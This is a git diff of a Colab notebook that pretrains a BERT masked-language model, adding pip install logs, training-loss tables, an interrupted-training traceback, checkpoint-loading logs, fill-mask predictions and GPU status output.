(from python-dateutil>=2.7.3->pandas->datasets) (1.15.0)\n", + "Requirement already satisfied: click in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers==4.18.0) (7.1.2)\n", + "Requirement already satisfied: joblib in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers==4.18.0) (1.1.0)\n", + "Building wheels for collected packages: sacremoses\n", + " Building wheel for sacremoses (setup.py) ... \u001b[?25l\u001b[?25hdone\n", + " Created wheel for sacremoses: filename=sacremoses-0.0.53-py3-none-any.whl size=895260 sha256=cca626dcce098f80c7609e89b9d7ae0782c9bc69e80da67f7a8ca172615ec417\n", + " Stored in directory: /root/.cache/pip/wheels/87/39/dd/a83eeef36d0bf98e7a4d1933a4ad2d660295a40613079bafc9\n", + "Successfully built sacremoses\n", + "Installing collected packages: multidict, frozenlist, yarl, urllib3, asynctest, async-timeout, aiosignal, pyyaml, fsspec, dill, aiohttp, xxhash, tokenizers, sacremoses, responses, multiprocess, huggingface-hub, transformers, sentencepiece, datasets\n", + " Attempting uninstall: urllib3\n", + " Found existing installation: urllib3 1.24.3\n", + " Uninstalling urllib3-1.24.3:\n", + " Successfully uninstalled urllib3-1.24.3\n", + " Attempting uninstall: pyyaml\n", + " Found existing installation: PyYAML 3.13\n", + " Uninstalling PyYAML-3.13:\n", + " Successfully uninstalled PyYAML-3.13\n", + " Attempting uninstall: dill\n", + " Found existing installation: dill 0.3.5.1\n", + " Uninstalling dill-0.3.5.1:\n", + " Successfully uninstalled dill-0.3.5.1\n", + " Attempting uninstall: multiprocess\n", + " Found existing installation: multiprocess 0.70.13\n", + " Uninstalling multiprocess-0.70.13:\n", + " Successfully uninstalled multiprocess-0.70.13\n", + "\u001b[31mERROR: pip's dependency resolver does not currently take into account all the packages that are installed. This behaviour is the source of the following dependency conflicts.\n", + "datascience 0.10.6 requires folium==0.2.1, but you have folium 0.8.3 which is incompatible.\u001b[0m\n", + "Successfully installed aiohttp-3.8.1 aiosignal-1.2.0 async-timeout-4.0.2 asynctest-0.13.0 datasets-2.2.2 dill-0.3.4 frozenlist-1.3.0 fsspec-2022.5.0 huggingface-hub-0.7.0 multidict-6.0.2 multiprocess-0.70.12.2 pyyaml-6.0 responses-0.18.0 sacremoses-0.0.53 sentencepiece-0.1.96 tokenizers-0.12.1 transformers-4.18.0 urllib3-1.25.11 xxhash-3.0.0 yarl-1.7.2\n" + ] + } + ], "source": [ - "!pip install datasets transformers==4.11.2 sentencepiece" + "!pip install datasets transformers==4.18.0 sentencepiece" ] }, { @@ -38,56 +151,127 @@ "base_uri": "https://localhost:8080/", "height": 166, "referenced_widgets": [ - "59a1bfc668724861a7b16313be4af103", - "0c9990f0bc8f4386b2287458530b2dfb", - "265fb035afef419bab76308935a6eaac", - "96c997fec3fe44bcb837d1f57865d5d3", - "1922da5612c3462c89bb11ef73823b7a", - "b7e3db649f4a4a5a826e1927901ecf26", - "eab32afa2da04737ba611247839133a6", - "c308902ea49a4382ac9e826da8b4ab5c", - "7df08ab0d53a4bc7bded7689b0c0f42f", - "d16b6d7efd414b38b6cd095c044a3177", - "f8af3ffed05e498eae51d609082f2f32", - "334d0b1cd7e045bfa0d056e1ba1b85b5", - "11f0f9a742494fc69bca13ecbd019b45", - "7b57baba42e04731952526fd9d8eef75", - "5a535ce952ac4651b229f5b94dc72e19", - "8a3ed18519fb42f78229ad0e260f5960", - "2f7a4dd58b4b4f3d89a619bdf48e313c", - "3e27bfcab64847289d9d6d153bfacda2", - "75daabb1266949969e68460ece1bd52c", - "18d0ae048fe5429cac8f9baee1fa52fd", - "b08a6ac88f56455ea29474fa37a07209", - "2a683a54bda9443784820bd47adbe221", - "7fbaa77d41ac4611af7d6abb67d8e89e", - "1a936ad85ed148539c1969f7a796c770", - "8784ee8c8abb47928e6e61e5200576a0", - "8a1f26612fc9412ea3de837c0fd2b00a", - "9f9ee7d69dc54611afeb2e8d51d905c3", - "49ad56abce5741099658cfcf45512fec", - "5d8ff83adf594b32b7ca10a61cd833c0", - "1c48a995424b4a2089349cceb138108e", - "e034b565bf8043419f588cb19ea8a640", - "bf38247632e94a5fb88cccbbb4554300", - "809dcd1d1991458cae118d90174a96f5", - "26f896e54c91464396bf22ced79c12d8", - "664234488caf43f6a269ff511c9e5e2f", - "205f9228306747fd956cd9ec6e7f1b78", - "47107d86a2524e938895cb67a7e4e0ed", - "3164d1a7697c4f9c925c8cdf710720d2", - "2aa5062333a34ab18e31443bb86669c5", - "aa0019485825455b9ded33be7a591bdd", - "eb714a156833448a93e9bd9ae389b89e", - "bdbd88ef76a041669f00be6a53952545", - "dec268a4d4fd45a5805337a27daf270e", - "45241208a8f54476ad4bac17acda0a91" + "7aa9b4e351a34a84a8aa6ad49aa5d74d", + "2f22301fd2984090be8adb6fe839e393", + "98d3d993e19d4f448cbca02235a850ac", + "8bec66cc71aa433ea55697d640988262", + "b45af68d650f445d97876e9b51d3f15a", + "e33fa1b90e9947e8858db2ef44969e37", + "f6363254e1fd40b88ec971851ad7e441", + "89fdcc82f49f4ab2b498bb5d46f9b73b", + "d34ef4b4dfb540e28f878df61f27ff26", + "6aa0294bb5b741f49883998b69accaba", + "f6721fa0034043138705c565a4b77b77", + "4df3ac00cfeb4441beb0c077578ce793", + "e549c9c30ce44951b93b1f9d4d1cfca1", + "9f7e7e08223343d5b78d5c2d8855640d", + "4aaff7ef487c4b5c915b2def2ab21759", + "99bbccd66c66489b96470d3e9caf1f1f", + "c082792cfdde4faab6bea631addceb00", + "2e10e57221ef46d695eb16fd25ec5e49", + "a77ad1702bf7439f87f7b1084d278717", + "241cca42438046aea2a9b4874f37c8b1", + "ba0b6327ac3740f79f66cb54d131f4fa", + "16fd5817ade84d92abeebb70952c926f", + "3f27b9cc5f104665a99a996c7ab3af1c", + "c73ea971834643fab70be84563d06f6a", + "653752175e3445ee8fd4651bd551b34d", + "34e85e0a8cf448828e27cb266626cb27", + "93b2d9dd8440496f8d1812993530dc05", + "fa06a799cfe8477a8e3a99a6dd99ca27", + "d4d1386f42534f8584d0c1e0428bd65b", + "788f92dcba3f4148bc4e88b5c4f9b28b", + "cfcf5950147d45e0bc3c8689b5b76073", + "5837dd25ab0645939444b94ab35e5db4", + "d78152622ecf4f3da35756557a802251", + "450625b8b8cb4ea18bd6e8d0807c0830", + "123f86c229c24496979269c09256d1e6", + "cdcc3c356d91458ba4be2f1a8b41f9da", + "66e0498023a64a109f4e18e030937e5e", + "bce52428773848faba37e3a41747b4e9", + "6d6b854ddcbc4113b941c8ba804e2877", + "e4be24ca306d4a5c8d4a8a1718225590", + "7a3d34b2e76a4d4b8b14ac5aefb3883f", + "ffd1f3803c154f68b9b921cfefc00604", + "4801d49b04044fa79f64afb3e4d0d89c", + "599a2e48109c4b25840754625c05af43" ] }, "id": "QEvDxUpYuARd", - "outputId": "a5133d9d-b502-49c8-a79d-d399fbad7e40" + "outputId": "c0615e23-7592-4fb4-da1e-f33941fbb02b" }, - "outputs": [], + "outputs": [ + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "7aa9b4e351a34a84a8aa6ad49aa5d74d", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "Downloading builder script: 0%| | 0.00/1.75k [00:00\n", + " \n", + " \n", + " [ 6001/80480 10:33:18 < 131:02:39, 0.16 it/s, Epoch 0.75/10]\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
StepTraining LossValidation Loss
10006.8608006.550845
20006.5187006.451167
30006.4317006.387487
40006.3766006.341373
50006.3323006.307063

\n", + "

\n", + " \n", + " \n", + " [ 356/1115 07:19 < 15:40, 0.81 it/s]\n", + "
\n", + " " + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "metadata": { + "tags": null + }, + "name": "stderr", + "output_type": "stream", + "text": [ + "The following columns in the evaluation set don't have a corresponding argument in `BertForMaskedLM.forward` and have been ignored: special_tokens_mask. If special_tokens_mask are not expected by `BertForMaskedLM.forward`, you can safely ignore this message.\n", + "***** Running Evaluation *****\n", + " Num examples = 71357\n", + " Batch size = 64\n", + "Saving model checkpoint to pretrained-bert/checkpoint-1000\n", + "Configuration saved in pretrained-bert/checkpoint-1000/config.json\n", + "Model weights saved in pretrained-bert/checkpoint-1000/pytorch_model.bin\n", + "The following columns in the evaluation set don't have a corresponding argument in `BertForMaskedLM.forward` and have been ignored: special_tokens_mask. If special_tokens_mask are not expected by `BertForMaskedLM.forward`, you can safely ignore this message.\n", + "***** Running Evaluation *****\n", + " Num examples = 71357\n", + " Batch size = 64\n", + "Saving model checkpoint to pretrained-bert/checkpoint-2000\n", + "Configuration saved in pretrained-bert/checkpoint-2000/config.json\n", + "Model weights saved in pretrained-bert/checkpoint-2000/pytorch_model.bin\n", + "The following columns in the evaluation set don't have a corresponding argument in `BertForMaskedLM.forward` and have been ignored: special_tokens_mask. If special_tokens_mask are not expected by `BertForMaskedLM.forward`, you can safely ignore this message.\n", + "***** Running Evaluation *****\n", + " Num examples = 71357\n", + " Batch size = 64\n", + "Saving model checkpoint to pretrained-bert/checkpoint-3000\n", + "Configuration saved in pretrained-bert/checkpoint-3000/config.json\n", + "Model weights saved in pretrained-bert/checkpoint-3000/pytorch_model.bin\n", + "The following columns in the evaluation set don't have a corresponding argument in `BertForMaskedLM.forward` and have been ignored: special_tokens_mask. If special_tokens_mask are not expected by `BertForMaskedLM.forward`, you can safely ignore this message.\n", + "***** Running Evaluation *****\n", + " Num examples = 71357\n", + " Batch size = 64\n", + "Saving model checkpoint to pretrained-bert/checkpoint-4000\n", + "Configuration saved in pretrained-bert/checkpoint-4000/config.json\n", + "Model weights saved in pretrained-bert/checkpoint-4000/pytorch_model.bin\n", + "The following columns in the evaluation set don't have a corresponding argument in `BertForMaskedLM.forward` and have been ignored: special_tokens_mask. If special_tokens_mask are not expected by `BertForMaskedLM.forward`, you can safely ignore this message.\n", + "***** Running Evaluation *****\n", + " Num examples = 71357\n", + " Batch size = 64\n", + "Saving model checkpoint to pretrained-bert/checkpoint-5000\n", + "Configuration saved in pretrained-bert/checkpoint-5000/config.json\n", + "Model weights saved in pretrained-bert/checkpoint-5000/pytorch_model.bin\n", + "The following columns in the evaluation set don't have a corresponding argument in `BertForMaskedLM.forward` and have been ignored: special_tokens_mask. If special_tokens_mask are not expected by `BertForMaskedLM.forward`, you can safely ignore this message.\n", + "***** Running Evaluation *****\n", + " Num examples = 71357\n", + " Batch size = 64\n" + ] + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "" + ], + "text/html": [ + "\n", + "
\n", + " \n", + " \n", + " [ 6056/80480 11:01:09 < 135:27:46, 0.15 it/s, Epoch 0.75/10]\n", + "
\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
StepTraining LossValidation Loss
10006.8608006.550845
20006.5187006.451167
30006.4317006.387487
40006.3766006.341373
50006.3323006.307063
60006.2989006.275374

" + ] + }, + "metadata": {} + }, + { + "output_type": "stream", + "name": "stderr", + "text": [ + "Saving model checkpoint to pretrained-bert/checkpoint-6000\n", + "Configuration saved in pretrained-bert/checkpoint-6000/config.json\n", + "Model weights saved in pretrained-bert/checkpoint-6000/pytorch_model.bin\n" + ] + }, + { + "output_type": "error", + "ename": "KeyboardInterrupt", + "evalue": "ignored", + "traceback": [ + "\u001b[0;31m---------------------------------------------------------------------------\u001b[0m", + "\u001b[0;31mKeyboardInterrupt\u001b[0m Traceback (most recent call last)", + "\u001b[0;32m\u001b[0m in \u001b[0;36m\u001b[0;34m()\u001b[0m\n\u001b[1;32m 1\u001b[0m \u001b[0;31m# train the model\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m----> 2\u001b[0;31m \u001b[0mtrainer\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mtrain\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m", + "\u001b[0;32m/usr/local/lib/python3.7/dist-packages/transformers/trainer.py\u001b[0m in \u001b[0;36mtrain\u001b[0;34m(self, resume_from_checkpoint, trial, ignore_keys_for_eval, **kwargs)\u001b[0m\n\u001b[1;32m 1420\u001b[0m \u001b[0mtr_loss_step\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mself\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mtraining_step\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mmodel\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0minputs\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 1421\u001b[0m \u001b[0;32melse\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m-> 1422\u001b[0;31m \u001b[0mtr_loss_step\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mself\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mtraining_step\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mmodel\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0minputs\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 1423\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 1424\u001b[0m if (\n", + "\u001b[0;32m/usr/local/lib/python3.7/dist-packages/transformers/trainer.py\u001b[0m in \u001b[0;36mtraining_step\u001b[0;34m(self, model, inputs)\u001b[0m\n\u001b[1;32m 2027\u001b[0m \u001b[0mloss\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mself\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mdeepspeed\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mbackward\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mloss\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 2028\u001b[0m \u001b[0;32melse\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m-> 2029\u001b[0;31m \u001b[0mloss\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mbackward\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 2030\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 2031\u001b[0m \u001b[0;32mreturn\u001b[0m \u001b[0mloss\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mdetach\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", + "\u001b[0;32m/usr/local/lib/python3.7/dist-packages/torch/_tensor.py\u001b[0m in \u001b[0;36mbackward\u001b[0;34m(self, gradient, retain_graph, create_graph, inputs)\u001b[0m\n\u001b[1;32m 361\u001b[0m \u001b[0mcreate_graph\u001b[0m\u001b[0;34m=\u001b[0m\u001b[0mcreate_graph\u001b[0m\u001b[0;34m,\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 362\u001b[0m inputs=inputs)\n\u001b[0;32m--> 363\u001b[0;31m \u001b[0mtorch\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mautograd\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mbackward\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mself\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mgradient\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mretain_graph\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mcreate_graph\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0minputs\u001b[0m\u001b[0;34m=\u001b[0m\u001b[0minputs\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 364\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 365\u001b[0m \u001b[0;32mdef\u001b[0m \u001b[0mregister_hook\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mself\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mhook\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", + "\u001b[0;32m/usr/local/lib/python3.7/dist-packages/torch/autograd/__init__.py\u001b[0m in \u001b[0;36mbackward\u001b[0;34m(tensors, grad_tensors, retain_graph, create_graph, grad_variables, inputs)\u001b[0m\n\u001b[1;32m 173\u001b[0m Variable._execution_engine.run_backward( # Calls into the C++ engine to run the backward pass\n\u001b[1;32m 174\u001b[0m \u001b[0mtensors\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mgrad_tensors_\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mretain_graph\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mcreate_graph\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0minputs\u001b[0m\u001b[0;34m,\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m--> 175\u001b[0;31m allow_unreachable=True, accumulate_grad=True) # Calls into the C++ engine to run the backward pass\n\u001b[0m\u001b[1;32m 176\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 177\u001b[0m def grad(\n", + "\u001b[0;31mKeyboardInterrupt\u001b[0m: " + ] + } + ], "source": [ "# train the model\n", "trainer.train()" @@ -521,31 +1133,244 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 25, "metadata": { - "id": "dUZSRAxV2vp-" + "id": "dUZSRAxV2vp-", + "colab": { + "base_uri": "https://localhost:8080/" + }, + "outputId": "9aac4c86-199d-4ba3-9b79-614ba8c97fe1" }, - "outputs": [], + "outputs": [ + { + "output_type": "stream", + "name": "stderr", + "text": [ + "loading configuration file pretrained-bert/checkpoint-6000/config.json\n", + "Model config BertConfig {\n", + " \"architectures\": [\n", + " \"BertForMaskedLM\"\n", + " ],\n", + " \"attention_probs_dropout_prob\": 0.1,\n", + " \"classifier_dropout\": null,\n", + " \"hidden_act\": \"gelu\",\n", + " \"hidden_dropout_prob\": 0.1,\n", + " \"hidden_size\": 768,\n", + " \"initializer_range\": 0.02,\n", + " \"intermediate_size\": 3072,\n", + " \"layer_norm_eps\": 1e-12,\n", + " \"max_position_embeddings\": 512,\n", + " \"model_type\": \"bert\",\n", + " \"num_attention_heads\": 12,\n", + " \"num_hidden_layers\": 12,\n", + " \"pad_token_id\": 0,\n", + " \"position_embedding_type\": \"absolute\",\n", + " \"torch_dtype\": \"float32\",\n", + " \"transformers_version\": \"4.18.0\",\n", + " \"type_vocab_size\": 2,\n", + " \"use_cache\": true,\n", + " \"vocab_size\": 30522\n", + "}\n", + "\n", + "loading weights file pretrained-bert/checkpoint-6000/pytorch_model.bin\n", + "All model checkpoint weights were used when initializing BertForMaskedLM.\n", + "\n", + "All the weights of BertForMaskedLM were initialized from the model checkpoint at pretrained-bert/checkpoint-6000.\n", + "If your task is similar to the task the model of the checkpoint was trained on, you can already use BertForMaskedLM for predictions without further training.\n", + "Didn't find file pretrained-bert/tokenizer.json. We won't load it.\n", + "Didn't find file pretrained-bert/added_tokens.json. We won't load it.\n", + "Didn't find file pretrained-bert/special_tokens_map.json. We won't load it.\n", + "Didn't find file pretrained-bert/tokenizer_config.json. We won't load it.\n", + "loading file pretrained-bert/vocab.txt\n", + "loading file None\n", + "loading file None\n", + "loading file None\n", + "loading file None\n", + "loading configuration file pretrained-bert/config.json\n", + "Model config BertConfig {\n", + " \"_name_or_path\": \"pretrained-bert\",\n", + " \"attention_probs_dropout_prob\": 0.1,\n", + " \"classifier_dropout\": null,\n", + " \"cls_token\": \"[CLS]\",\n", + " \"do_lower_case\": true,\n", + " \"hidden_act\": \"gelu\",\n", + " \"hidden_dropout_prob\": 0.1,\n", + " \"hidden_size\": 768,\n", + " \"initializer_range\": 0.02,\n", + " \"intermediate_size\": 3072,\n", + " \"layer_norm_eps\": 1e-12,\n", + " \"mask_token\": \"[MASK]\",\n", + " \"max_len\": 512,\n", + " \"max_position_embeddings\": 512,\n", + " \"model_max_length\": 512,\n", + " \"model_type\": \"bert\",\n", + " \"num_attention_heads\": 12,\n", + " \"num_hidden_layers\": 12,\n", + " \"pad_token\": \"[PAD]\",\n", + " \"pad_token_id\": 0,\n", + " \"position_embedding_type\": \"absolute\",\n", + " \"sep_token\": \"[SEP]\",\n", + " \"transformers_version\": \"4.18.0\",\n", + " \"type_vocab_size\": 2,\n", + " \"unk_token\": \"[UNK]\",\n", + " \"use_cache\": true,\n", + " \"vocab_size\": 30522\n", + "}\n", + "\n", + "loading configuration file pretrained-bert/config.json\n", + "Model config BertConfig {\n", + " \"_name_or_path\": \"pretrained-bert\",\n", + " \"attention_probs_dropout_prob\": 0.1,\n", + " \"classifier_dropout\": null,\n", + " \"cls_token\": \"[CLS]\",\n", + " \"do_lower_case\": true,\n", + " \"hidden_act\": \"gelu\",\n", + " \"hidden_dropout_prob\": 0.1,\n", + " \"hidden_size\": 768,\n", + " \"initializer_range\": 0.02,\n", + " \"intermediate_size\": 3072,\n", + " \"layer_norm_eps\": 1e-12,\n", + " \"mask_token\": \"[MASK]\",\n", + " \"max_len\": 512,\n", + " \"max_position_embeddings\": 512,\n", + " \"model_max_length\": 512,\n", + " \"model_type\": \"bert\",\n", + " \"num_attention_heads\": 12,\n", + " \"num_hidden_layers\": 12,\n", + " \"pad_token\": \"[PAD]\",\n", + " \"pad_token_id\": 0,\n", + " \"position_embedding_type\": \"absolute\",\n", + " \"sep_token\": \"[SEP]\",\n", + " \"transformers_version\": \"4.18.0\",\n", + " \"type_vocab_size\": 2,\n", + " \"unk_token\": \"[UNK]\",\n", + " \"use_cache\": true,\n", + " \"vocab_size\": 30522\n", + "}\n", + "\n" + ] + } + ], "source": [ "# when you load from pretrained\n", - "# model = BertForMaskedLM.from_pretrained(os.path.join(model_path, \"checkpoint-10000\"))\n", - "# tokenizer = BertTokenizerFast.from_pretrained(model_path)\n", + "model = BertForMaskedLM.from_pretrained(os.path.join(model_path, \"checkpoint-6000\"))\n", + "tokenizer = BertTokenizerFast.from_pretrained(model_path)\n", + "# or simply use pipeline\n", "fill_mask = pipeline(\"fill-mask\", model=model, tokenizer=tokenizer)" ] }, { "cell_type": "code", - "execution_count": null, + "execution_count": 27, "metadata": { - "id": "vJO-1w15ARHs" + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "vJO-1w15ARHs", + "outputId": "346b2c7b-d65b-44f1-9fca-e3493435aca2" }, - "outputs": [], + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "{'score': 0.06537885963916779, 'token': 1556, 'token_str': 'the', 'sequence': 'it is known that the is the capital of germany'}\n", + "{'score': 0.036817438900470734, 'token': 20, 'token_str': '.', 'sequence': 'it is known that. is the capital of germany'}\n", + "{'score': 0.0335884727537632, 'token': 18, 'token_str': ',', 'sequence': 'it is known that, is the capital of germany'}\n", + "{'score': 0.027838902547955513, 'token': 1573, 'token_str': 'of', 'sequence': 'it is known that of is the capital of germany'}\n", + "{'score': 0.027804739773273468, 'token': 1609, 'token_str': 'is', 'sequence': 'it is known that is is the capital of germany'}\n" + ] + } + ], "source": [ "# perform predictions\n", "example = \"It is known that [MASK] is the capital of Germany\"\n", "for prediction in fill_mask(example):\n", " print(prediction)" ] + }, + { + "cell_type": "code", + "source": [ + "# perform predictions\n", + "examples = [\n", + " \"Today's most trending hashtags on [MASK] is Donald Trump\",\n", + " \"The [MASK] was cloudy yesterday, but today it's rainy.\",\n", + "]\n", + "for example in examples:\n", + " for prediction in fill_mask(example):\n", + " print(f\"{prediction['sequence']}, confidence: {prediction['score']}\")\n", + " print(\"=\"*50)" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "8ROoCqpssCb9", + "outputId": "cb795c9c-b77d-42ed-c779-0cf963fcddd2" + }, + "execution_count": 26, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "today's most trending hashtags on trump is donald trump, confidence: 0.05097166821360588\n", + "today's most trending hashtags on. is donald trump, confidence: 0.04177526384592056\n", + "today's most trending hashtags on'is donald trump, confidence: 0.040809836238622665\n", + "today's most trending hashtags on the is donald trump, confidence: 0.03832641988992691\n", + "today's most trending hashtags on, is donald trump, confidence: 0.024022724479436874\n", + "==================================================\n", + "the. was cloudy yesterday, but today it's rainy., confidence: 0.0627809464931488\n", + "the the was cloudy yesterday, but today it's rainy., confidence: 0.0463297963142395\n", + "the, was cloudy yesterday, but today it's rainy., confidence: 0.03323638439178467\n", + "the to was cloudy yesterday, but today it's rainy., confidence: 0.025685036554932594\n", + "the'was cloudy yesterday, but today it's rainy., confidence: 0.024147875607013702\n", + "==================================================\n" + ] + } + ] + }, + { + "cell_type": "code", + "execution_count": 28, + "metadata": { + "id": "gGkOvmFaYkF2", + "colab": { + "base_uri": "https://localhost:8080/" + }, + "outputId": "8deff2cf-85dd-42ef-eb1d-4a03a78cc9fc" + }, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "Fri Jun 3 08:32:51 2022 \n", + "+-----------------------------------------------------------------------------+\n", + "| NVIDIA-SMI 460.32.03 Driver Version: 460.32.03 CUDA Version: 11.2 |\n", + "|-------------------------------+----------------------+----------------------+\n", + "| GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC |\n", + "| Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. |\n", + "| | | MIG M. |\n", + "|===============================+======================+======================|\n", + "| 0 Tesla P100-PCIE... Off | 00000000:00:04.0 Off | 0 |\n", + "| N/A 52C P0 38W / 250W | 14725MiB / 16280MiB | 0% Default |\n", + "| | | N/A |\n", + "+-------------------------------+----------------------+----------------------+\n", + " \n", + "+-----------------------------------------------------------------------------+\n", + "| Processes: |\n", + "| GPU GI CI PID Type Process name GPU Memory |\n", + "| ID ID Usage |\n", + "|=============================================================================|\n", + "+-----------------------------------------------------------------------------+\n" + ] + } + ], + "source": [ + "!nvidia-smi" + ] } ], "metadata": { @@ -564,7 +1389,7 @@ }, "widgets": { "application/vnd.jupyter.widget-state+json": { - "02e7cd42b29c423fb79c1560df7ba4be": { + "123f86c229c24496979269c09256d1e6": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", "model_name": "HTMLModel", @@ -579,117 +1404,59 @@ "_view_name": "HTMLView", "description": "", "description_tooltip": null, - "layout": "IPY_MODEL_15d463c6e6d442b2972c60a0b1fce504", + "layout": "IPY_MODEL_6d6b854ddcbc4113b941c8ba804e2877", "placeholder": "​", - "style": "IPY_MODEL_16fd37a38b794256beca9157c9903d2e", - "value": "100%" + "style": "IPY_MODEL_e4be24ca306d4a5c8d4a8a1718225590", + "value": "Generating train split: 100%" } }, - "056cc9ebf83748f69ab06654669cbade": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", + "16fd5817ade84d92abeebb70952c926f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", "_view_count": null, "_view_module": "@jupyter-widgets/base", "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null + "_view_name": "StyleView", + "description_width": "" } }, - "08a34c8f11b34619b7cad19d13e93b66": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", + "241cca42438046aea2a9b4874f37c8b1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": 